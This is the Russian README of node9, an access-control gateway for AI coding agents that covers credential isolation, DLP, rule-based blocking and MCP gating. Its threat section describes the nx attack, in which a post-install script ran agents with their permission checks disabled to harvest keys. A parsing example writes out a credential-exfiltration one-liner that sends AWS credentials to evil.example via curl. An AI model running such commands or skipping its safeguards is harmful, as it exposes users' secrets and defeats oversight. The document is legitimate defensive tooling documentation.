Контроль доступа для ИИ-агентов. Задайте, что разрешено делать Claude Code, Codex, Gemini, Cursor и любому MCP-серверу, проверяйте рискованные действия до их выполнения и сохраняйте каждое действие в журнале.
<h1 align="center">🛡️ node9</h1> <p align="center">Контроль доступа для ИИ-агентов</p> <p align="center"><strong>Ваши ИИ-агенты могут дотянуться до Slack, GitHub, электронной почты и вашей базы данных.<br />node9 решает, что им позволено делать с каждым из них.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Изоляция учётных данных** · **секреты и PII** · **деструктивные git, SQL и shell-команды удерживаются на проверку** · **закрепление MCP-инструментов** · **список разрешённых сетевых назначений** · **разрыв циклов** · **единая запись по двенадцати агентам** Работает с **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · любым MCP-сервером**. ## Как это выглядит Реальная сессия Claude Code с установленным node9. Каждый вызов инструмента проверяется перед выполнением. Сборка страницы и редактирование кнопки выполняются. Запрос к адресу облачных метаданных блокируется, агент получает причину и продолжает работу. Удаление файлов ожидает вашего одобрения прямо в чате. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 в сессии Claude Code: два вызова разрешены, один заблокирован, один удержан на одобрение" /> </p> ## Установка ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Затем в любом проекте: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Требуется Node.js 22+. В новом интерактивном терминале `node9` проведёт вас через настройку. Локальная защита не требует учётной записи. Контрольный список показывает рекомендуемые щиты, DLP/PII, опциональную проверку сетевых назначений и фоновую службу. Статистика использования отправляется только если вы примете отдельный запрос. В сводке перечислены настроенные агенты и шаги настройки, требующие внимания. Запустите `node9 setup`, чтобы вернуться к настройке, или `node9 setup <target>` для настройки одного агента. После настройки простой `node9` показывает справку. `node9 init` по-прежнему доступен; для скриптов используйте `node9 init --recommended` (без вопросов и без согласия на телеметрию). `--skip-setup` не трогает подключение агентов и установку службы. Явный `--mode` имеет приоритет над рекомендацией стандартного режима из контрольного списка. Существующие настройки сохраняются, если только выбранные изменения или явные флаги не требуют обновления. Политика рабочего пространства управляется в дашборде; настройки службы остаются локальными. **`login` ничего не добавляет к принудительному применению.** Он подключает машину к рабочему пространству, чтобы команда могла видеть единую запись по ноутбукам и CI всех участников, задавать политику централизованно и одобрять удержанные действия из дашборда или Slack. Пропустите его — и node9 работает точно так же, автономно, офлайн. `node9 logout` снова отключает, а локальное принудительное применение продолжает работать. ### Использование в качестве MCP-сервера node9 также работает как MCP-сервер, поэтому агент может читать его статус, состояние защиты, журнал аудита и политику, а также объяснять любое решение прямо из беседы: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` Любой MCP-клиент работает так же: команда — `npx -y node9-ai mcp-server` через stdio, без API-ключа. Он указан в официальном MCP Registry как `io.github.node9-ai/node9`. ## Проблема В августе 2025 года скомпрометированные релизы [инструмента сборки `nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) содержали post-install скрипт, который искал уже установленных на машине разработчика ИИ-агентов для программирования, а затем запускал их с отключёнными собственными флагами безопасности (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`), чтобы перечислить SSH-ключи, облачные учётные данные и файлы кошельков и записать список на диск. Скрипт отправлял результаты в публичные репозитории внутри собственных GitHub-аккаунтов жертв. Утекло более тысячи действующих GitHub-токенов, а также облачные учётные данные, npm- токены и примерно 20 000 файлов с машин, где агент делал ровно то, что ему велели. Агент не был атакующим. Агент был инструментом, и между ним и файлами не стояло ничего. Шлюз node9 — не один из тех флагов: он работает в хуке, и действие, которое он удерживает, остаётся удержанным, даже если агент был запущен с пропущенными разрешениями. ## Что с этим делает node9 node9 находится между агентом и каждым вызываемым им инструментом. Изоляция учётных данных (`~/.ssh`, `~/.aws`, файлы `.env`, приватные ключи) включена по умолчанию, и чтение одного из этих путей не выполняется. Агент останавливается, ему сообщают причину, а решение приходит к вам: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` Команда разбирается как AST оболочки, а не сопоставляется как текст, поэтому обёртывание чтения не помогает. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` расценивается как чтение `~/.aws/credentials`, а не как `echo`. node9 — это **шлюз**. Удержанное действие не выполняется, пока ждёт вас, и если вы никогда не ответите, оно остаётся заблокированным. Всё остальное разрешается и записывается в журнал. **Чего он не делает:** при выключенном контроле исходящего трафика, что является значением по умолчанию, команда, передающая файл напрямую в сеть, например `curl -d @~/.aws/credentials`, не рассматривается как чтение этого файла. `node9 egress protect` также ограничивает назначения, и он охватывает только shell-команды. ## Проверьте сами Ничто ниже не требует учётной записи, и ничто не загружается. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## Чем он управляет Каждая строка — одна возможность со страницей, которая её документирует. Документация — это справочник; этот файл — карта. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Изоляция учётных данных** | `~/.ssh`, `~/.aws`, `.env` и приватные ключи блокируются для каждого инструмента, а не только для оболочки | [docs](https://node9.ai/docs/shields) | | **Постоянные правила** | деструктивный git, SQL без `WHERE`, `curl \| bash` и несанкционированный `sudo`, без конфигурации | [docs](https://node9.ai/docs/smart-rules) | | **Секреты и PII** | ключи AWS, токены GitHub и Stripe, ключи PEM и шаблоны карт или SSN в любом аргументе инструмента, плюс фоновая проверка того, что агент записал обратно | [docs](https://node9.ai/docs/dlp) | | **Щиты для отдельных сервисов** | подобранные наборы правил для Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub и файловой системы | [docs](https://node9.ai/docs/shields) | | **Встроенная проверка** | удержанное действие спрашивает вас внутри беседы с агентом или через командного утверждающего | [docs](https://node9.ai/docs/cloud-policy) | | **Список разрешённых назначений** | ограничивает, куда shell-команда может отправлять данные, по умолчанию выключено | [docs](https://node9.ai/docs/egress) | | **Шлюз MCP** | оборачивает любой MCP-сервер, авторизует каждый инструмент и закрепляет определения инструментов, чтобы сервер не мог изменить их за вашей спиной | [docs](https://node9.ai/docs/mcp-gateway) | | **Песочница** | запускает агента в контейнере с ядерным списком разрешённых назначений и ограниченными монтированиями | [docs](https://node9.ai/docs/sandbox) | | **Оценка защищённости** | насколько подвержена эта машина, с командой, которая исправляет каждую находку | [docs](https://node9.ai/docs/posture) | | **Сканирование репозиториев** | находит рабочие процессы, где посторонний мог бы перехватить агента, владеющего вашими секретами, в CI или из CLI | [docs](https://node9.ai/docs/repo-scanning) | | **История сессий** | читает, что каждый агент уже сделал на этой машине, до установки node9 | [docs](https://node9.ai/docs/sessions) | | **Живой монитор и отчёт** | терминальный дашборд и оконная сводка стоимости, инструментов, блокировок и радиуса поражения | [docs](https://node9.ai/docs/report) | | **Закрепление навыков** | SHA-256-проверка установленных навыков и плагинов Claude между сессиями | [docs](https://node9.ai/docs/skill-pinning) | | **Канареечные учётные данные** | подложенные поддельные ключи, доказывающие, что попытка эксфильтрации произошла | [docs](https://node9.ai/docs/canary-credentials) | | **Python SDK** | управляет любым Python-агентом, а не только CLI | [docs](https://node9.ai/docs/python-sdk) | Полный справочник по CLI и конфигурации: **[node9.ai/docs](https://node9.ai/docs)**. Как слои сочетаются друг с другом: **[how it works](https://node9.ai/docs/how-it-works)**. ## Изучение Материалы для чтения, написанные так, чтобы быть самодостаточными. На каждой странице сказано, что node9 не покрывает. - **[Что может сделать перехваченный агент?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: радиус поражения одной скомпрометированной сессии - **[Как ИИ-агент утекает секрет](https://node9.ai/learn/ai-agent-secret-exfiltration)**: пути, которыми учётные данные действительно уходят наружу - **[Безопасность Claude Code](https://node9.ai/learn/claude-code-security)**: хуки, режимы разрешений и то, что они не останавливают - **[Безопасность MCP](https://node9.ai/learn/mcp-security)**: поверхность инструментов, которую открывает MCP-сервер - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: список, сопоставленный с реальными средствами контроля ## Сравнение - **[node9 против альтернатив](https://node9.ai/compare)**: матрица, включая строки, где node9 набирает меньше баллов - **[Покрытие по агентам](https://node9.ai/agents)**: что управляется на каждом из двенадцати поддерживаемых агентов ## Связанные проекты - **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: GitHub Action, `uses: node9-ai/node9-proxy@v2`, ограничивает каждый PR тем же движком ## Для предприятий **node9 Pro** добавляет блокировку управления, SAML/SSO, централизованный экспорт аудита и развёртывание в VPC. См. [node9.ai](https://node9.ai). ## Лицензия Apache-2.0 <p align="center"> <sub>Сделано с ☕ и здоровой паранойей.</sub> </p>